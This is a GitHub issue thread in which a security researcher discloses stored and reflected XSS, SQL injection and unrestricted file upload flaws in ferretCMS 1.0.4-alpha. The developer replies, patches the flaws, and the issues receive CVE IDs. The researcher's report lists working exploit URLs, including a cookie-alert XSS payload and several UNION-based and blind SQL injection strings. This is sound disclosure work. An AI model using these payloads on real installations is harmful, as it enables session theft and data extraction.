Multiple stored/reflecting XSS- and SQL Injection-vulnerabilities, unrestricted file-upload in ferretCMS v. 1.0.4-alpha

Dear Jacob.

I found multiple vulnerabilities in your CMS ferretCMS v. 1.0.4-alpha. These issues involve stored/reflecting XSS- and SQL injection-vulnerabilities as well as an unrestricted file-upload, which can be used to compromise the server running ferretCMS by uploading a PHP backdoor.

Please tell me if you are interested in patching the vulnerabilities. If you are interested, please provide me a way where I can send my report to.

I am going to release a security advisory on my blog (without technical details). If you don't respond until 30th January 2015, I will release the technical details as well and send the issues to the security mailing list FullDisclosure.

See here: http://sroesemann.blogspot.de/2015/01/sroeadv-2015-10.html

I hope I can help improving the security of your project.

Greetings from Germany.

Steffen Rösemann

[JRogaishio]

Thank you for bringing this up. I do intend on fixing these issues which I have detailed below. However, please know that ferretCMS is in the 'alpha' development stage and as such is NOT recommended to be used on live websites.

1. XSS Issues. Can you provide an example in the code? Are you referring to the way you can craft a post with HTML and have it displayed on the front end? Only site administrators behind a login can enter any sort of HTML tags. I will however still create a HTML "white list" for valid tags.
2. SQL Injection. Can you provide an example in the code? On the develop branch the entire system is being overhauled from MySQLi to PDO with bound parameters. This should be a non-issue once the system is converted.
3. Unrestricted File Upload. Agreed. A white list will be implemented to only allow image files for the time being.

You can send a detailed report right here on the issue tracker since again, this is a "still in development" project and is not live.

Thank you.

Hi Jacob.

I am glad you answered. Thank you! :-)

I do know, that ferretCMS is in alpha development stage and I would not use it in a productive environment therefore… But as I think you are not only programming around just only for the fun of it, I’d like to give you those hints for securing it, too. All vulnerabilities reside on the administrative backend. However, an attacker who knows the URLs that are vulnerable can use them to compromise a ferretCMS installation. Imagine a crafted URL that the attacker sends to the administrator (maybe obfuscated by a URL shortener) and tricks him into clicking on that link. You could use the XSS to exfiltrate the administrators session-cookie (and therefore the attacker maybe is able to impersonate the account without knowing the login credentials while the session is active) or use the SQL injection vulnerabilities to dump important data with the into_outfile() function of MySQL to the server, reachable by all who know where the dumped file is located. The file-upload vulnerability… Okay, I think I don’t have to say much about it.

1.1. Reflecting XSS vulnerabilities

I found the following reflecting XSS-vulnerability in ferretCMS (all vulnerable URLs include harmless exploit examples):

http://{TARGET}/admin.php?type=search&action=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Example screenshot as proof for reflecting XSS vulnerability:

1.2. Stored XSS vulnerabilities

Some of the form fields are as well vulnerable to stored XSS attacks (which means that the malicious code is not being sanitized and stored in the database backend):

http://{TARGET}/admin.php (via login-form) => executed in http://{TARGET}/admin.php?type=log&action=read (means an attacker who tries to login on the administrative backend with malicious script-code instead of the username stores this code in the logging function; if the administrator visits the log in the administrative backend, the code gets executed each time he visits that page)

http://{TARGET}/admin.php?type=page&action=insert&p= (via page title) => executed in http://{TARGET}/admin.php?type=page&action=read

Example screenshot as proof for a stored XSS vulnerability:

1.3. SQL injection vulnerabilities

The following URLs of a common ferretCMS installation are vulnerable to SQL-injection attacks:

http://{TARGET}/admin.php?type=site&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+
http://{TARGET}/admin.php?type=customkey&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,4+--+
http://{TARGET}/admin.php?type=account&action=update&p=1+and+1=2+union+select+1,database%28%29,3,4,5,version%28%29,7,8,9+--+
http://{TARGET}/admin.php?type=plugin&action=update&p=1+and+1=2+union+select+1,database%28%29,version%28%29,4+--+
http://{TARGET}/admin.php?type=template&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,user%28%29,5+--+
http://{TARGET}/admin.php?type=permissiongroup&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+—+

The following URL is vulnerable to a BlindSQL injection attack:

http://{TARGET}/admin.php?type=page&action=update&p=1+and+substring%28version%28%29,1,1%29=5+--+

Example screenshot as proof for SQL injection:

It would be very nice, if you would tell me if you were aware of those issues and if/when you gonna patch them. I like to release the technical details for the issues I found on my security advisory and publish it as well on the security mailing list FullDisclosure. If you want to release a patch, I will wait for you to publish it. Else I release it on the date I wrote if you don’t mind.

Thank you for your attention and for your reply. If you have any questions, please feel free to ask and contact me again.

Have a nice day, Jacob.

Greetings from Germany.

Steffen

Am 22.01.2015 um 22:07 schrieb Jacob Rogaishio notifications@github.com:

Thank you for bringing this up. I do intend on fixing these issues which I have detailed below. However, please know that ferretCMS is in the 'alpha' development stage and as such is NOT recommended to use on "mission critical" websites.

XSS Issues. Can you provide an example in the code? Are you referring to the way you can craft a post with HTML and have it displayed on the front end? Only site administrators behind a login can enter any sort of HTML tags. I will however still create a HTML "white list" for valid tags.

SQL Injection. Can you provide an example in the code? On the develop branch the entire system is being overhauled from MySQLi to PDO with bound parameters. This should be a non-issue once the system is converted.

Unrestricted File Upload. Agreed. A white list will be implemented to only allow image files for the time being.

—
Reply to this email directly or view it on GitHub #63 (comment).

If you like to see the screenshots, too, drop me a line. Was not aware, that they are not being uploaded to Github via mail. Since you wanted me to name the vulnerabilities via Github, I think it should be no problem if i release my security advisory, too, as the details are public now anyways. Hope I was able to help you. Greetings.

[JRogaishio]

Thank you. I did not know of these issues. This CMS was originally intended to be a case-study project or "just for the fun of it" but has definitely evolved into an actual CMS. Also yes, you can release the security advisory although I'm not sure how relevant it will be since this is a "for fun" kind of project.

If you could upload the screenshots via github it would be much appreciated. Thank you again for bringing these issues to light. Due to the development nature of this project these will get patched "eventually" but I cannot supply a hard date.

I will upload the above mentioned example screenshots:

Stored XSS via false admin login, executed in log:

Reflecting XSS via "action" parameter in admin.php:

SQL injection:

[JRogaishio]

Thank you. I can confirm that the XSS attacks are already fixed on the develop branch (thanks to PDO sanitation). Although I was not aware of these exact issues, I preemptively started moving over to PDO since something was bound to fall through the cracks of MySQLi and un-bound parameters. it also appears that the SQL injection has also been resolved on the develop branch.

The develop branch is still highly unstable but should be stable soon and merged into master within the next few weeks.

[JRogaishio]

Fixed with pulls #64 #65 #66

Hello Jacob.

These issues have been assigned the following CVE-IDs:

• CVE-2015-1371
• CVE-2015-1372
• CVE-2015-1373
• CVE-2015-1374

See here: http://seclists.org/oss-sec/2015/q1/266

Thanks for closing the vulnerabilities. Please take note, that I missed in the first place, that these vulnerabilities contain an underlying Cross-Site Request Forgery vuln (CSRF or XSRF), too. MITRE has assigned that one the last CVE-ID.

Greetings.

Steffen